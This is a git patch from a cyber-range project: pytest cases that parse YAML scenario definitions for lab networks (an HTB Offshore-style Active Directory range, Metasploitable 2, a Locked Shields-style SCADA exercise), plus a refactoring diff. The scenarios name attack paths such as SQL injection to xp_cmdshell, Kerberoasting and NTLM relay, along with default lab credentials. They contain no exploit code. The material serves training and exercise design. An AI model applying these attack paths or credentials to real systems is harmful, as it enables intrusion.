mysql-scored: {command: "mysqladmin ping || exit 1", interval: 60} + +metrics: + http-uptime: {type: CONDITIONAL, max-score: 1000, condition: http-scored} + https-uptime: {type: CONDITIONAL, max-score: 1000, condition: https-scored} + smtp-uptime: {type: CONDITIONAL, max-score: 800, condition: smtp-scored} + ssh-uptime: {type: CONDITIONAL, max-score: 700, condition: ssh-scored} + dns-uptime: {type: CONDITIONAL, max-score: 800, condition: dns-scored} + mysql-uptime: {type: CONDITIONAL, max-score: 700, condition: mysql-scored} + +evaluations: + service-uptime: + metrics: [http-uptime, https-uptime, smtp-uptime, ssh-uptime, dns-uptime, mysql-uptime] + min-score: {absolute: 2500} + +tlos: + maintain-services: + name: "Service Availability" + evaluation: service-uptime + +goals: + defend-infrastructure: + tlos: [maintain-services] + +entities: + blue-team: {name: Blue Team, role: Blue, mission: "Maintain services, patch vulnerabilities", tlos: [maintain-services]} + red-team: {name: Red Team, role: Red, mission: "Compromise systems, steal PII"} + white-team: {name: Scoring Engine, role: White, mission: "Score service availability"} +""" + + +# ----------------------------------------------------------------------- +# 17. HTB ProLab Offshore-style — Multi-domain AD +# ----------------------------------------------------------------------- + +HTB_OFFSHORE = """ +name: htb-offshore-style +description: > + HTB ProLab "Offshore" inspired: multi-domain AD environment with + 4 domains, SQL injection entry, Kerberoasting, cross-domain trust + abuse, DCSync. 21 machines, multiple pivot points. + +nodes: + entry-net: {type: Switch} + corp-net: {type: Switch} + dev-net: {type: Switch} + admin-net: {type: Switch} + + web-portal: + type: VM + os: linux + resources: {ram: 2 gib, cpu: 1} + features: {dotnet-webapp: www} + services: [{port: 80, name: http}, {port: 443, name: https}] + vulnerabilities: [sqli-portal] + roles: {www: www-data} + + mssql-server: + type: VM + os: windows + os_version: "Server 2019" + resources: {ram: 4 gib, cpu: 2} + features: {mssql: dba} + services: [{port: 1433, name: mssql}] + vulnerabilities: [xp-cmdshell] + roles: {dba: sa} + + dc-corp: + type: VM + os: windows + os_version: "Server 2022" + resources: {ram: 4 gib, cpu: 2} + features: {ad-corp: admin} + services: [{port: 389, name: ldap}, {port: 88, name: kerberos}, {port: 445, name: smb}] + vulnerabilities: [asrep-roast, kerberoast-spn] + roles: {admin: Administrator} + + dc-dev: + type: VM + os: windows + os_version: "Server 2019" + resources: {ram: 4 gib, cpu: 2} + features: {ad-dev: admin} + services: [{port: 389, name: ldap}, {port: 88, name: kerberos}] + vulnerabilities: [unconstrained-deleg] + roles: {admin: Administrator} + + exchange: + type: VM + os: windows + resources: {ram: 8 gib, cpu: 4} + features: {exchange-svc: admin} + services: [{port: 443, name: https}, {port: 25, name: smtp}] + vulnerabilities: [ntlm-relay] + roles: {admin: Administrator} + + jumpbox: + type: VM + os: linux + resources: {ram: 1 gib, cpu: 1} + services: [{port: 22, name: ssh}] + +infrastructure: + entry-net: {count: 1, properties: {cidr: 10.10.110.0/24, gateway: 10.10.110.1}} + corp-net: {count: 1, properties: {cidr: 10.10.120.0/24, gateway: 10.10.120.1, internal: true}} + dev-net: {count: 1, properties: {cidr: 10.10.130.0/24, gateway: 10.10.130.1, internal: true}} + admin-net: {count: 1, properties: {cidr: 10.10.140.0/24, gateway: 10.10.140.1, internal: true}} + web-portal: {count: 1, links: [entry-net]} + mssql-server: {count: 1, links: [corp-net]} + dc-corp: {count: 1, links: [corp-net, admin-net]} + dc-dev: {count: 1, links: [dev-net, corp-net]} + exchange: {count: 1, links: [corp-net]} + jumpbox: {count: 1, links: [entry-net, corp-net]} + +features: + dotnet-webapp: {type: Service, source: aspnet-webapp} + mssql: {type: Service, source: mssql-2019} + ad-corp: {type: Service, source: adds-forest, description: "corp.offshore.local"} + ad-dev: {type: Service, source: adds-child, dependencies: [ad-corp], description: "dev.corp.offshore.local"} + exchange-svc: {type: Service, source: exchange-2019, dependencies: [ad-corp]} + +vulnerabilities: + sqli-portal: {name: SQL Injection, description: "SQLi in login form leads to MSSQL access", technical: true, class: CWE-89} + xp-cmdshell: {name: xp_cmdshell Enabled, description: "MSSQL xp_cmdshell allows OS command execution", technical: true, class: CWE-78} + asrep-roast: {name: AS-REP Roasting, description: "Accounts without pre-auth", technical: true, class: CWE-287} + kerberoast-spn: {name: Kerberoastable SPN, description: "Service account with weak password", technical: true, class: CWE-916} + unconstrained-deleg: {name: Unconstrained Delegation, description: "Machine trusts for any service", technical: true, class: CWE-250} + ntlm-relay: {name: NTLM Relay, description: "NTLM auth relay to Exchange for privesc", technical: true, class: CWE-294} + +accounts: + svc-sql: {username: svc_mssql, node: dc-corp, password_strength: weak, spn: "MSSQL/mssql.corp.offshore.local", groups: [Domain Users]} + da-corp: {username: Administrator, node: dc-corp, password_strength: strong, groups: [Domain Admins]} + nopreauth-user: {username: svc_legacy, node: dc-corp, password_strength: weak, description: "AS-REP roastable"} + +relationships: + dev-trusts-corp: + type: trusts + source: ad-dev + target: ad-corp + properties: {trust_type: parent-child, trust_direction: bidirectional} + webapp-to-mssql: + type: connects_to + source: dotnet-webapp + target: mssql + exchange-auth: + type: authenticates_with + source: exchange-svc + target: ad-corp + +entities: + attacker: {name: Penetration Tester, role: Red, mission: "Compromise all 4 domains"} +""" + + +# ----------------------------------------------------------------------- +# 18. Metasploitable 2 — Classic vulnerable lab +# ----------------------------------------------------------------------- + +METASPLOITABLE_2 = """ +name: metasploitable-2 +description: > + Metasploitable 2: intentionally vulnerable Linux VM with 25+ + exploitable services. The canonical beginner pentest target. + +nodes: + lab-net: {type: Switch} + + metasploitable: + type: VM + os: linux + os_version: "Ubuntu 8.04" + resources: {ram: 512 mib, cpu: 1} + features: [vsftpd, openssh, apache-web, samba-smb, mysql-db, postgres-db, unrealirc, distccd, java-rmi, tomcat-mgr, vnc-server] + services: + - {port: 21, name: ftp} + - {port: 22, name: ssh} + - {port: 23, name: telnet} + - {port: 25, name: smtp} + - {port: 80, name: http} + - {port: 111, name: rpc} + - {port: 139, name: netbios} + - {port: 445, name: smb} + - {port: 512, name: rexec} + - {port: 513, name: rlogin} + - {port: 514, name: rsh} + - {port: 1099, name: java-rmi} + - {port: 1524, name: ingreslock} + - {port: 2049, name: nfs} + - {port: 2121, name: ftp-alt} + - {port: 3306, name: mysql} + - {port: 3632, name: distccd} + - {port: 5432, name: postgresql} + - {port: 5900, name: vnc} + - {port: 6000, name: x11} + - {port: 6667, name: irc} + - {port: 8009, name: ajp} + - {port: 8180, name: tomcat} + vulnerabilities: + - vsftpd-backdoor + - unrealirc-backdoor + - samba-rce + - distccd-rce + - nfs-root-export + - weak-ssh-creds + - weak-mysql-creds + - weak-postgres-creds + - weak-vnc-creds + - tomcat-default-creds + - java-rmi-rce + asset_value: {confidentiality: high} + + attacker: + type: VM + os: linux + source: kali + resources: {ram: 2 gib, cpu: 2} + +infrastructure: + lab-net: {count: 1, properties: {cidr: 192.168.1.0/24, gateway: 192.168.1.1}} + metasploitable: {count: 1, links: [lab-net]} + attacker: {count: 1, links: [lab-net]} + +features: + vsftpd: {type: Service, source: vsftpd-2.3.4, description: "vsftpd with backdoor (port 6200)"} + openssh: {type: Service, source: openssh-4.7} + apache-web: {type: Service, source: apache-2.2} + samba-smb: {type: Service, source: samba-3.0} + mysql-db: {type: Service, source: mysql-5.0} + postgres-db: {type: Service, source: postgresql-8.3} + unrealirc: {type: Service, source: unrealircd-3.2.8} + distccd: {type: Service, source: distccd} + java-rmi: {type: Service, source: java-rmi-registry} + tomcat-mgr: {type: Service, source: tomcat-5.5} + vnc-server: {type: Service, source: vnc4server} + +vulnerabilities: + vsftpd-backdoor: {name: "vsftpd 2.3.4 Backdoor", description: "Backdoor triggered by smiley face in username", technical: true, class: CWE-506} + unrealirc-backdoor: {name: "UnrealIRCd Backdoor", description: "Backdoor in IRC daemon allows RCE", technical: true, class: CWE-506} + samba-rce: {name: "Samba username map script RCE", description: "CVE-2007-2447 - command injection via username", technical: true, class: CWE-78} + distccd-rce: {name: "DistCC Daemon RCE", description: "CVE-2004-2687 - arbitrary command execution", technical: true, class: CWE-78} + nfs-root-export: {name: "NFS Root Export", description: "Root filesystem exported with no_root_squash", technical: true, class: CWE-732} + weak-ssh-creds: {name: "Weak SSH Credentials", description: "msfadmin:msfadmin", technical: false, class: CWE-521} + weak-mysql-creds: {name: "Weak MySQL Credentials", description: "root with no password", technical: false, class: CWE-521} + weak-postgres-creds: {name: "Weak PostgreSQL Credentials", description: "postgres:postgres", technical: false, class: CWE-521} + weak-vnc-creds: {name: "Weak VNC Password", description: "password: password", technical: false, class: CWE-521} + tomcat-default-creds: {name: "Tomcat Default Credentials", description: "tomcat:tomcat on manager app", technical: false, class: CWE-521} + java-rmi-rce: {name: "Java RMI RCE", description: "Deserialization attack on RMI registry", technical: true, class: CWE-502} + +accounts: + msfadmin: {username: msfadmin, node: metasploitable, password_strength: weak} + root-mysql: {username: root, node: metasploitable, password_strength: none, description: "MySQL root with no password"} + postgres-user: {username: postgres, node: metasploitable, password_strength: weak} + +entities: + pentester: {name: Penetration Tester, role: Red} +""" + + +# ----------------------------------------------------------------------- +# 19. Locked Shields style — IT/OT/SCADA defense +# ----------------------------------------------------------------------- + +LOCKED_SHIELDS_STYLE = """ +name: locked-shields-style +description: > + NATO Locked Shields inspired: fictional nation Berylia defending + IT infrastructure, OT/SCADA power grid, and telecom systems. + Generalized from publicly available descriptions. + +nodes: + it-net: {type: Switch} + ot-net: {type: Switch} + dmz-net: {type: Switch} + scada-net: {type: Switch} + + ad-dc: + type: VM + os: windows + os_version: "Server 2022" + resources: {ram: 4 gib, cpu: 2} + features: {ad-berylia: admin} + services: [{port: 389, name: ldap}, {port: 88, name: kerberos}, {port: 445, name: smb}] + roles: {admin: Administrator} + asset_value: {confidentiality: high, integrity: critical, availability: critical} + + mail-server: + type: VM + os: linux + resources: {ram: 2 gib, cpu: 1} + features: {postfix-mail: mail} + services: [{port: 25, name: smtp}, {port: 143, name: imap}, {port: 993, name: imaps}] + roles: {mail: postfix} + + web-portal: + type: VM + os: linux + resources: {ram: 2 gib, cpu: 1} + features: {gov-website: www} + services: [{port: 80, name: http}, {port: 443, name: https}] + roles: {www: www-data} + + dns-server: + type: VM + os: linux + resources: {ram: 1 gib, cpu: 1} + features: {bind-dns: dns} + services: [{port: 53, protocol: udp, name: dns}] + roles: {dns: named} + + hmi-server: + type: VM + os: windows + os_version: "Server 2008 R2" + resources: {ram: 2 gib, cpu: 1} + description: "SCADA Human-Machine Interface" + features: {scada-hmi: operator} + services: [{port: 502, name: modbus}, {port: 3389, name: rdp}] + roles: {operator: scada-op} + asset_value: {integrity: critical, availability: critical} + + plc-power: + type: VM + os: other + os_version: "SIEMENS S7-300" + resources: {ram: 256 mib, cpu: 1} + description: "Power grid PLC controller" + services: [{port: 102, name: s7comm}] + asset_value: {integrity: critical, availability: critical} + + plc-water: + type: VM + os: other + os_version: "SIEMENS S7-300" + resources: {ram: 256 mib, cpu: 1} + description: "Water treatment PLC controller" + services: [{port: 102, name: s7comm}] + asset_value: {integrity: critical, availability: critical} + +infrastructure: + dmz-net: {count: 1, properties: {cidr: 10.0.0.0/24, gateway: 10.0.0.1}} + it-net: {count: 1, properties: {cidr: 10.0.1.0/24, gateway: 10.0.1.1, internal: true}} + ot-net: {count: 1, properties: {cidr: 10.0.2.0/24, gateway: 10.0.2.1, internal: true}} + scada-net: + count: 1 + properties: {cidr: 10.0.3.0/24, gateway: 10.0.3.1, internal: true} + acls: + - {direction: in, from_net: it-net, action: deny} + - {direction: in, from_net: ot-net, protocol: tcp, ports: [502, 102], action: allow} + ad-dc: {count: 1, links: [it-net]} + mail-server: {count: 1, links: [dmz-net, it-net]} + web-portal: {count: 1, links: [dmz-net]} + dns-server: {count: 1, links: [dmz-net, it-net]} + hmi-server: {count: 1, links: [ot-net, scada-net]} + plc-power: {count: 1, links: [scada-net]} + plc-water: {count: 1, links: [scada-net]} + +features: + ad-berylia: {type: Service, source: adds-2022} + postfix-mail: {type: Service, source: postfix-3} + gov-website: {type: Service, source: wordpress} + bind-dns: {type: Service, source: bind9} + scada-hmi: {type: Service, source: wincc-hmi} + +relationships: + hmi-controls-power: + type: manages + source: scada-hmi + target: plc-power + properties: {protocol: s7comm} + hmi-controls-water: + type: manages + source: scada-hmi + target: plc-water + properties: {protocol: modbus} + mail-auth: + type: authenticates_with + source: postfix-mail + target: ad-berylia + +entities: + berylia-blue: + name: Berylia National CERT + role: Blue + mission: "Defend national IT/OT infrastructure" + entities: + it-team: {name: IT Security} + ot-team: {name: OT/SCADA Security} + crimsonia-red: + name: "Crimsonia APT" + role: Red + mission: "Disrupt Berylia critical infrastructure" +""" + + +# ======================================================================= +# Test execution +# ======================================================================= + +SCENARIOS = [ + ("14. Incalmo Equifax breach", INCALMO_EQUIFAX), + ("15. NICE Challenge 17", NICE_CHALLENGE_17), + ("16. CCDC 2007 Burnsodyne", CCDC_BURNSODYNE), + ("17. HTB Offshore-style AD", HTB_OFFSHORE), + ("18. Metasploitable 2", METASPLOITABLE_2), + ("19. Locked Shields IT/OT/SCADA", LOCKED_SHIELDS_STYLE), +] + + +@pytest.mark.parametrize("label,yaml_str", SCENARIOS, ids=[s[0] for s in SCENARIOS]) +def test_scenario_parses_and_validates(label, yaml_str): + """Each real-world scenario must parse and pass semantic validation.""" + scenario, error = _parse(yaml_str, label) + assert error is None, f"{label} failed: {error}" + assert scenario is not None + + +@pytest.mark.parametrize("label,yaml_str", SCENARIOS, ids=[s[0] for s in SCENARIOS]) +def test_scenario_topology_integrity(label, yaml_str): + """Infrastructure references and cross-references are consistent.""" + scenario = parse_sdl(textwrap.dedent(yaml_str)) + for name in scenario.infrastructure: + assert name in scenario.nodes, f"{label}: infra '{name}' missing node" + for node_name, node in scenario.nodes.items(): + for feat_name in node.features: + assert feat_name in scenario.features, \ + f"{label}: node '{node_name}' refs missing feature '{feat_name}'" + for vuln_name in node.vulnerabilities: + assert vuln_name in scenario.vulnerabilities, \ + f"{label}: node '{node_name}' refs missing vuln '{vuln_name}'" + + +@pytest.mark.parametrize("label,yaml_str", SCENARIOS, ids=[s[0] for s in SCENARIOS]) +def test_scenario_stats(label, yaml_str): + """Report scenario complexity metrics.""" + scenario = parse_sdl(textwrap.dedent(yaml_str)) + nodes = len([n for n in scenario.nodes.values() if n.type.value == "vm"]) + nets = len([n for n in scenario.nodes.values() if n.type.value == "switch"]) + vulns = len(scenario.vulnerabilities) + features = len(scenario.features) + accts = len(scenario.accounts) + rels = len(scenario.relationships) + # Just verify these are non-trivial scenarios + assert nodes >= 1 From dd97e5ab01d15e2cfe9ba7934f75884493b83a66 Mon Sep 17 00:00:00 2001 From: Brad Edwards Date: Sun, 29 Mar 2026 09:40:58 -0700 Subject: [PATCH 08/15] Breaking: Remove legacy fields from SDL scenario model --- CHANGELOG.md | 19 +++ docs/sdl/sections.md | 41 +---- src/aptl/core/{sdl => }/attacks.py | 30 ++-- src/aptl/core/{sdl => }/objectives.py | 36 ++-- src/aptl/core/scenarios.py | 142 ++++++++++++---- src/aptl/core/sdl/__init__.py | 6 +- src/aptl/core/sdl/compat.py | 170 ------------------- src/aptl/core/sdl/defenses.py | 24 --- src/aptl/core/sdl/parser.py | 5 - src/aptl/core/sdl/scenario.py | 203 ++--------------------- src/aptl/core/sdl/validator.py | 91 +--------- tests/test_sdl_compat.py | 158 ------------------ tests/test_sdl_models.py | 48 +----- tests/test_sdl_parser.py | 34 +--- tests/test_sdl_stress.py | 229 ++++++++++---------------- tests/test_sdl_validator.py | 61 ------- 16 files changed, 283 insertions(+), 1014 deletions(-) rename src/aptl/core/{sdl => }/attacks.py (73%) rename src/aptl/core/{sdl => }/objectives.py (82%) delete mode 100644 src/aptl/core/sdl/compat.py delete mode 100644 src/aptl/core/sdl/defenses.py delete mode 100644 tests/test_sdl_compat.py diff --git a/CHANGELOG.md b/CHANGELOG.md index edc2da518..98d03cc7f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,25 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [6.0.0] - 2026-03-29 + +### Changed + +- **BREAKING**: Removed APTL legacy fields from SDL Scenario model — `metadata`, `mode`, `containers`, `preconditions`, `objectives`, `scoring`, `attack_chain`, `steps`, `defenses` are no longer part of the SDL specification. The SDL now has one clean identity: 19 specification sections with `name` as the only required field. +- **BREAKING**: Removed backward-compatibility layer (`sdl/compat.py`) and the `scenarios.py` re-export shim. Runtime code that imported `ScenarioDefinition`, `validate_scenario_containers`, or APTL-specific types from `aptl.core.scenarios` will need updating. +- **BREAKING**: APTL legacy scenario YAMLs (with `metadata` block) no longer parse through the SDL. They require migration to SDL format. +- Moved runtime evaluation models to standalone modules: `aptl.core.objectives` (ObjectiveType, Objective, WazuhAlertValidation, etc.) and `aptl.core.attacks` (AttackStep, MitreReference, ExpectedDetection, etc.). These are runtime concerns, not specification concerns. +- Removed 6 APTL-specific semantic validation passes from the SDL validator +- Framing: OCR scoring pipeline (conditions → metrics → evaluations → TLOs → goals) is **exercise assessment** for human-evaluated team exercises. APTL objectives are **automated validation** for agent-driven scenarios — a runtime concern that lives outside the SDL. + +### Removed + +- `src/aptl/core/sdl/compat.py` — legacy backward-compatibility shim +- `src/aptl/core/sdl/defenses.py` — free-form defense config (underspecified) +- `src/aptl/core/sdl/objectives.py` — moved to `aptl.core.objectives` +- `src/aptl/core/sdl/attacks.py` — moved to `aptl.core.attacks` +- `tests/test_sdl_compat.py` — tests for removed compat layer + ## [5.3.0] - 2026-03-29 ### Added diff --git a/docs/sdl/sections.md b/docs/sdl/sections.md index 8fdc1e735..c770a753c 100644 --- a/docs/sdl/sections.md +++ b/docs/sdl/sections.md @@ -23,7 +23,7 @@ A scenario is a YAML document with up to 20 named sections. All sections are opt | `scripts` | `dict[str, Script]` | Timed event sequences with human-readable durations | | `stories` | `dict[str, Story]` | Top-level exercise orchestration grouping scripts | -### APTL Extensions (6 sections) +### Extended Sections (5 sections) | Section | Type | Purpose | Adapted From | |---------|------|---------|--------------| @@ -32,7 +32,6 @@ A scenario is a YAML document with up to 20 named sections. All sections are opt | `relationships` | `dict[str, Relationship]` | Typed edges between elements (auth, trust, federation) | STIX Relationship SRO | | `agents` | `dict[str, Agent]` | Autonomous participants (actions, knowledge, scope) | CybORG Agents | | `variables` | `dict[str, Variable]` | Parameterization (types, defaults, substitution) | CACAO playbook_variables | -| `objectives` | `ObjectiveSet` | Red/blue objectives with auto-evaluation | APTL original | --- @@ -388,40 +387,8 @@ Variables are referenced as `${var_name}` in other sections. They are **not reso --- -## APTL Legacy Format +## Scoring: Exercise Assessment vs Automated Validation -The APTL legacy format (with `metadata`, `mode`, `objectives`, `steps`, `scoring`) continues to work. The parser auto-detects it. +The SDL's scoring pipeline (conditions → metrics → evaluations → TLOs → goals) is for **exercise assessment** — human-evaluated team exercises like Locked Shields or CCDC where white team judges grade performance. -```yaml -metadata: - id: detect-brute-force - name: "Blue Team: Detect SSH Brute Force" - description: Detect an SSH brute force attack - difficulty: intermediate - estimated_minutes: 30 - mitre_attack: - techniques: [T1110.001] - -mode: purple -containers: - required: [kali, victim, wazuh] - -objectives: - red: - - id: brute-force - description: Execute SSH brute force - type: manual - points: 50 - blue: - - id: detect-auth - description: Detect failed logins in Wazuh - type: wazuh_alert - points: 75 - wazuh_alert: - query: {bool: {must: [{match: {rule.groups: authentication_failed}}]}} - min_matches: 5 - -scoring: - passing_score: 100 - max_score: 200 -``` +**Automated validation** (APTL's ObjectiveType with wazuh_alert/command_output/file_exists auto-evaluation) is a **runtime concern** that lives outside the SDL, in `aptl.core.objectives`. The SDL specifies *what success looks like* via the scoring pipeline; the runtime determines *whether it happened* via automated checks. diff --git a/src/aptl/core/sdl/attacks.py b/src/aptl/core/attacks.py similarity index 73% rename from src/aptl/core/sdl/attacks.py rename to src/aptl/core/attacks.py index a4a488907..901aab1a3 100644 --- a/src/aptl/core/sdl/attacks.py +++ b/src/aptl/core/attacks.py @@ -1,16 +1,22 @@ -"""Attack models — MITRE ATT&CK-mapped attack steps and detections. +"""APTL attack models — MITRE ATT&CK-mapped steps and detections. -Ported from the original ``aptl.core.scenarios`` and -``aptl.core.detection`` modules. Provides OCSF-aligned detection -expectations for each attack step. +These are runtime models for describing attack procedures, NOT part +of the SDL specification. They define attack steps with MITRE technique +mappings and OCSF-aligned expected detection expectations. + +For the SDL specification's orchestration model, see +``aptl.core.sdl.orchestration`` (OCR's events → scripts → stories +pipeline). """ from enum import IntEnum from typing import Optional -from pydantic import BaseModel, Field +from pydantic import BaseModel, ConfigDict, Field + -from aptl.core.sdl._base import SDLModel +class _StrictModel(BaseModel): + model_config = ConfigDict(extra="forbid") class SeverityId(IntEnum): @@ -51,26 +57,22 @@ class ExpectedDetection(BaseModel): ) -class MitreReference(SDLModel): +class MitreReference(_StrictModel): """MITRE ATT&CK tactic and technique references.""" tactics: list[str] = Field(default_factory=list) techniques: list[str] = Field(default_factory=list) -class PlatformCommand(SDLModel): - """A platform-specific command variant. - - Adapted from CALDERA's ``platforms.{os}.{shell}.command`` pattern. - The ``cleanup`` field is from Atomic Red Team's ``cleanup_command``. - """ +class PlatformCommand(_StrictModel): + """A platform-specific command variant.""" shell: str = "sh" command: str cleanup: str = "" -class AttackStep(SDLModel): +class AttackStep(_StrictModel): """A single attack step combining technique info with expected detections.""" step_number: int = Field(ge=1) diff --git a/src/aptl/core/sdl/objectives.py b/src/aptl/core/objectives.py similarity index 82% rename from src/aptl/core/sdl/objectives.py rename to src/aptl/core/objectives.py index 661269666..1c254975a 100644 --- a/src/aptl/core/sdl/objectives.py +++ b/src/aptl/core/objectives.py @@ -1,23 +1,27 @@ -"""Objective models — APTL scenario objectives with auto-evaluation. +"""APTL objective models — runtime auto-evaluation types. -Extends the OCR SDL with APTL's objective system: typed objectives -(manual, wazuh_alert, command_output, file_exists) with validation -configs, hints, and scoring. +These are runtime models for the APTL evaluation engine, NOT part +of the SDL specification. They define how objectives are validated +against live infrastructure (Wazuh alerts, command output, file +existence). -Ported from the original ``aptl.core.scenarios`` module. +For the SDL specification's scoring model, see ``aptl.core.sdl.scoring`` +(OCR's conditions → metrics → evaluations → TLOs → goals pipeline). """ import re from enum import Enum from typing import Any, Optional -from pydantic import Field, field_validator, model_validator - -from aptl.core.sdl._base import SDLModel +from pydantic import BaseModel, ConfigDict, Field, field_validator, model_validator _SLUG_PATTERN = re.compile(r"^[a-z0-9]+(?:-[a-z0-9]+)*$") +class _StrictModel(BaseModel): + model_config = ConfigDict(extra="forbid") + + class ObjectiveType(str, Enum): """How an objective is validated.""" @@ -27,7 +31,7 @@ class ObjectiveType(str, Enum): FILE_EXISTS = "file_exists" -class Hint(SDLModel): +class Hint(_StrictModel): """A progressive hint for an objective.""" level: int = Field(ge=1, le=5) @@ -42,7 +46,7 @@ def validate_text(cls, v: str) -> str: return v -class WazuhAlertValidation(SDLModel): +class WazuhAlertValidation(_StrictModel): """Validation config for wazuh_alert objective type.""" query: dict[str, Any] @@ -50,7 +54,7 @@ class WazuhAlertValidation(SDLModel): time_window_seconds: int = Field(default=300, ge=10, le=3600) -class CommandOutputValidation(SDLModel): +class CommandOutputValidation(_StrictModel): """Validation config for command_output objective type.""" container: str @@ -59,7 +63,7 @@ class CommandOutputValidation(SDLModel): regex: Optional[str] = None -class FileExistsValidation(SDLModel): +class FileExistsValidation(_StrictModel): """Validation config for file_exists objective type.""" container: str @@ -67,7 +71,7 @@ class FileExistsValidation(SDLModel): contains: Optional[str] = None -class Objective(SDLModel): +class Objective(_StrictModel): """A single objective within a scenario.""" id: str @@ -115,7 +119,7 @@ def validate_hint_levels_unique(self) -> "Objective": return self -class ObjectiveSet(SDLModel): +class ObjectiveSet(_StrictModel): """Red and blue team objectives for a scenario.""" red: list[Objective] = Field(default_factory=list) @@ -139,7 +143,7 @@ def all_objectives(self) -> list[Objective]: return self.red + self.blue -class TimeBonusConfig(SDLModel): +class TimeBonusConfig(_StrictModel): """Configuration for time-based bonus scoring.""" enabled: bool = False @@ -147,7 +151,7 @@ class TimeBonusConfig(SDLModel): decay_after_minutes: int = Field(default=10, ge=1) -class ScoringConfig(SDLModel): +class ScoringConfig(_StrictModel): """Scoring parameters for a scenario.""" time_bonus: TimeBonusConfig = Field(default_factory=TimeBonusConfig) diff --git a/src/aptl/core/scenarios.py b/src/aptl/core/scenarios.py index 1b2d443a2..16022223d 100644 --- a/src/aptl/core/scenarios.py +++ b/src/aptl/core/scenarios.py @@ -1,40 +1,110 @@ -"""Scenario definition models, loading, and validation. +"""Scenario runtime support — exceptions, loading, and type re-exports. -This module is a backward-compatibility shim that re-exports all -public names from the new ``aptl.core.sdl`` package. All existing -imports continue to work unchanged. +This module provides the runtime interface for scenario operations. +The SDL specification models live in ``aptl.core.sdl``. The runtime +evaluation models (objectives, attacks) live in ``aptl.core.objectives`` +and ``aptl.core.attacks``. -The canonical source for scenario models is now ``aptl.core.sdl``. +NOTE: The runtime code (engine, evaluators, scoring, CLI) references +models and fields that were removed from the SDL Scenario model during +the legacy binding cleanup. Those references will be reconnected in +future requirements. Until then, some runtime imports from this module +will fail at call sites that access removed fields. """ -from aptl.core.sdl.compat import ( # noqa: F401 - AttackStep, - CommandOutputValidation, - ContainerRequirements, - Difficulty, - ExpectedDetection, - FileExistsValidation, - Hint, - MitreReference, - Objective, - ObjectiveSet, - ObjectiveType, - ObserverError, - Precondition, - PreconditionType, - Scenario, - ScenarioDefinition, - ScenarioError, - ScenarioMetadata, - ScenarioMode, - ScenarioNotFoundError, - ScenarioStateError, - ScenarioValidationError, - ScoringConfig, - SeverityId, - TimeBonusConfig, - WazuhAlertValidation, - find_scenarios, - load_scenario, - validate_scenario_containers, -) +from pathlib import Path +from typing import Optional + +from aptl.core.sdl import parse_sdl, Scenario, SDLParseError, SDLValidationError +from aptl.utils.logging import get_logger + +log = get_logger("scenarios") + + +# --------------------------------------------------------------------------- +# Exceptions (used throughout the runtime) +# --------------------------------------------------------------------------- + + +class ScenarioError(Exception): + """Base exception for all scenario operations.""" + + +class ScenarioNotFoundError(ScenarioError): + """A scenario file or ID could not be found.""" + + def __init__(self, identifier: str) -> None: + self.identifier = identifier + super().__init__(f"Scenario not found: {identifier}") + + +class ScenarioValidationError(ScenarioError): + """A scenario definition failed validation.""" + + def __init__(self, message: str, path: Optional[Path] = None) -> None: + self.path = path + self.details = message + prefix = f"{path}: " if path else "" + super().__init__(f"{prefix}{message}") + + +class ScenarioStateError(ScenarioError): + """An invalid state transition was attempted.""" + + +class ObserverError(ScenarioError): + """The Wazuh observation bus encountered an error.""" + + +# --------------------------------------------------------------------------- +# Loading functions +# --------------------------------------------------------------------------- + + +def load_scenario(path: Path) -> Scenario: + """Load and validate a scenario from a YAML file. + + Args: + path: Path to a .yaml scenario file. + + Returns: + Validated Scenario. + + Raises: + FileNotFoundError: If the file does not exist. + ScenarioValidationError: If YAML is malformed or fails validation. + """ + if not path.exists(): + raise FileNotFoundError(f"Scenario file not found: {path}") + + raw = path.read_text().strip() + if not raw: + raise ScenarioValidationError("Scenario file is empty", path=path) + + try: + scenario = parse_sdl(raw, path=path) + except SDLParseError as e: + raise ScenarioValidationError(str(e), path=path) from e + except SDLValidationError as e: + raise ScenarioValidationError(str(e), path=path) from e + + log.info("Loaded scenario '%s' from %s", scenario.name, path) + return scenario + + +def find_scenarios(search_dir: Path) -> list[Path]: + """Find all .yaml scenario files in a directory (non-recursive). + + Args: + search_dir: Directory to search. + + Returns: + Sorted list of paths to .yaml files. + """ + if not search_dir.is_dir(): + log.debug("Scenarios directory does not exist: %s", search_dir) + return [] + + paths = sorted(search_dir.glob("*.yaml")) + log.debug("Found %d scenario files in %s", len(paths), search_dir) + return paths diff --git a/src/aptl/core/sdl/__init__.py b/src/aptl/core/sdl/__init__.py index ae9b5b819..5f9b47380 100644 --- a/src/aptl/core/sdl/__init__.py +++ b/src/aptl/core/sdl/__init__.py @@ -1,13 +1,13 @@ """APTL Scenario Description Language (SDL). A backend-agnostic scenario specification language ported from the -Open Cyber Range SDL and extended with APTL-specific concepts -(objectives, attack steps, detections, defenses, scoring). +Open Cyber Range SDL and extended with sections for content, accounts, +relationships, agents, and variables. Public API: parse_sdl(content) -> Scenario parse_sdl_file(path) -> Scenario - Scenario — top-level model + Scenario — top-level model (19 sections) SDLParseError — YAML/structural errors SDLValidationError — semantic validation errors """ diff --git a/src/aptl/core/sdl/compat.py b/src/aptl/core/sdl/compat.py deleted file mode 100644 index 874d7e09e..000000000 --- a/src/aptl/core/sdl/compat.py +++ /dev/null @@ -1,170 +0,0 @@ -"""Backward compatibility layer for aptl.core.scenarios consumers. - -Provides all names previously exported by ``aptl.core.scenarios`` -so that existing imports continue to work unchanged. The old -``ScenarioDefinition`` becomes a type alias for ``Scenario``. -""" - -import re -from pathlib import Path -from typing import Optional - -import yaml - -from aptl.core.sdl._errors import SDLParseError, SDLValidationError -from aptl.core.sdl.attacks import AttackStep, ExpectedDetection, MitreReference, SeverityId -from aptl.core.sdl.objectives import ( - CommandOutputValidation, - FileExistsValidation, - Hint, - Objective, - ObjectiveSet, - ObjectiveType, - ScoringConfig, - TimeBonusConfig, - WazuhAlertValidation, -) -from aptl.core.sdl.parser import parse_sdl -from aptl.core.sdl.scenario import ( - ContainerRequirements, - Difficulty, - Precondition, - PreconditionType, - Scenario, - ScenarioMetadata, - ScenarioMode, -) - -from aptl.utils.logging import get_logger - -log = get_logger("scenarios") - -# --- Type alias --- -ScenarioDefinition = Scenario - - -# --- Exception aliases --- -class ScenarioError(Exception): - """Base exception for all scenario operations.""" - - -class ScenarioNotFoundError(ScenarioError): - """A scenario file or ID could not be found.""" - - def __init__(self, 